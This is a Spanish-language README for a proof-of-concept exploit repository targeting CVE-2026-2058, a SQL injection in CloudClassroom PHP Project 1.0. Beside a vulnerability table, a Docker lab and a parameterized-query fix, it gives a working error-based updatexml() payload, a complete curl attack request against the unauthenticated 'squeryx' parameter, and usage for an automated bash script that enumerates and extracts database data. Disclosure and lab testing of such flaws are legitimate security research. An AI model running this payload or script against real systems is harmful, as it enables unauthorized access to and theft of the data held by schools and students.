
Exploit de prueba de concepto para CVE-2026-2058, una inyección SQL en CloudClassroom PHP Project, con enumeración automatizada de bases de datos y extracción de datos.
Existe una vulnerabilidad de Inyección SQL en la funcionalidad Post Query del Proyecto PHP CloudClassroom (v1.0).
La vulnerabilidad permite a los atacantes inyectar comandos SQL arbitrarios a través del parámetro POST squeryx, lo que conduce a la enumeración de la base de datos y la extracción de datos.
Este repositorio contiene un exploit de Prueba de Concepto (PoC) que demuestra cómo se puede abusar de la vulnerabilidad para extraer datos sensibles de la base de datos backend.
| Campo | Valor |
|---|
| CVE | CVE-2026-2058 |
| Tipo de Vulnerabilidad | Inyección SQL |
| CWE | CWE-89 |
| Software Afectado | Proyecto PHP CloudClassroom |
| Versión Afectada | 1.0 |
| Componente | Funcionalidad Post Query |
| Vector de Ataque | Remoto |
| Autenticación Requerida | No |
| Impacto | Divulgación de la base de datos |
| Severidad | Alta |
| Referencia del Patrón de Ataque | CAPEC-66 |
POST /postquerypublic
squeryx
El código backend concatena directamente la entrada del usuario en una consulta SQL sin una sanitización adecuada ni consultas parametrizadas.
Ejemplo de código vulnerable:
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";
Debido a que $tempsquery se deriva de la entrada del usuario, los atacantes pueden inyectar SQL arbitrario.
Para fines de prueba e investigación, hay disponible un entorno Docker vulnerable.
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0
La vulnerabilidad se puede explotar mediante una técnica de inyección SQL basada en errores que aprovecha la función updatexml() de MySQL.
Ejemplo de payload:
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
Ejemplo de solicitud curl:
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"
Respuesta esperada:
XPATH syntax error: '~cc_db~'
Este repositorio incluye un exploit en bash que automáticamente:
chmod +x cloudclassroom_sqli_exploit.sh
./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic
Ejemplo:
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic
Un atacante puede:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L⚠️ Nota: La puntuación CVSS de NVD difiere de la puntuación de CNA (VulDB) debido a diferentes evaluaciones de impacto.
El Sistema de Puntuación de Predicción de Explotación (EPSS) estima la probabilidad de que una vulnerabilidad sea explotada en la naturaleza.
| CVE | Probabilidad EPSS | Percentil | Fecha |
|---|---|---|---|
| CVE-2026-2058 | 0.00028 | 7.62 % | 2026-03-01 |
Fuente: Conjunto de datos EPSS de FIRST
Los desarrolladores deberían:
Ejemplo de implementación segura:
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();


Este exploit se proporciona solo con fines educativos y de investigación.
El autor no es responsable del uso indebido o los daños causados por este código.
bl4dsc4n
Investigador de Seguridad